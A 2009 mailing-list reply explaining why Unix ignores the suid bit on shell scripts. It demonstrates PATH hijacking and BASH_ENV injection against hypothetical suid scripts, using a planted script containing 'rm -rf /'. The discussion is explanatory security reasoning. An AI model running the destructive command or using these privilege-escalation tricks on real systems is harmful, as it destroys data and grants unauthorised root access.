suid root - bash script

[Oron Peled]

On 23.04.2009 Shachar Shemesh wrote:
> Oron Peled wrote:
> >
> > There's a reason why the kernel does not respect suid/sgid bit on shell
> > scripts -- It's because there are gazillions of ways a user can use
> > this script to gain total root access.
> >   
> Name two?

Numero uno:

  --- cut --- start of /bin/stupid1
  #! /bin/sh -e
  ls /root
  --- cut --- end of /bin/stupid1

As a user:
  --- cut --- start of ~/ls
  #! /bin/sh
  rm -rf /                       # I'm self destructive today
  --- cut --- end of ~/ls
  chmod 755 ~/ls
  PATH=$HOME:$PATH /bin/stupid1

Which ls would run?
What would happen if /bin/stupid1 was suid root?

Numero dos:

  --- cut --- start of /bin/stupid2
  #! /bin/bash -e
  echo "Hello, cruel world"
  --- cut --- end of /bin/stupid2

As a user:
  If the previous ~/ls didn't wiped our system yet, let's reuse it ;-)

  BASH_ENV=~/ls /bin/stupid2

  # Yes, this one is based on bashis'm, so what?

> > Maybe writing a wrapper suid program that totally sanitize
> > both the environment and command line arguments before
> > exec'ing the script would make it. Although I wouldn't bet
> > on it since it only covers the obvious attack vectors against
> > shell scripts.
> >   
> Fine. Make the two cover these obvious vectors, one each.

Don't have one ready for command line args yet, IFS games should
be the path to it. But I cannot make them work. Either bash deviates
from the normal/documented behavior or I'm too tired/stupid.

> So my question is: are there attack vectors against the following script?
> 
> #!/bin/sh -e
> 
> echo "Hello, cruel world"

You got lucky this time:
1. echo is built-in command so I didn't find a way to override it.
2. Add a single external command to the script and I can apply numero uno.
3. In the original Bourne shell, echo wasn't built-in, so numero uno would
   work as is.

> I have to say that I first heard about this restriction, I thought it 
> made a lot of sense. Since then, I have searched for these famed attack 
> vectors, and have come up short. Sure, if the script itself has security 
> holes, then a suid script will be vulnerable. As I'm sure you know well, 
> this is also true of C written code, however.

C as a language has minimal external influences and so you *can*
practically write secure code (being careful with the usual suspects -- 
anything coming from the outside).

However, the shell (and most Unix scripting languages) have a very
reach semantics that is affected by many external factors (environment
is one of the most obvious) your chances of writing anything practical
shell script that would not be vulnerable are pretty nil.
[BTW: if I don't find an obvious hole, it doesn't mean there isn't one].

Perl tries to do a little better by its "tainting" mechanism. That's
a very good idea, but it's strength depends on a bug-free implementation
of both perl and all the C-based modules you use. Would you bet on
something like perl-TK being audited enough?

Cheers,

-- 
Oron Peled                                 Voice: +972-4-8228492
oron at actcom.co.il                  http://www.actcom.co.il/~oron
Linux:  If you're not careful, you might actually learn something.
                -- Allen Wong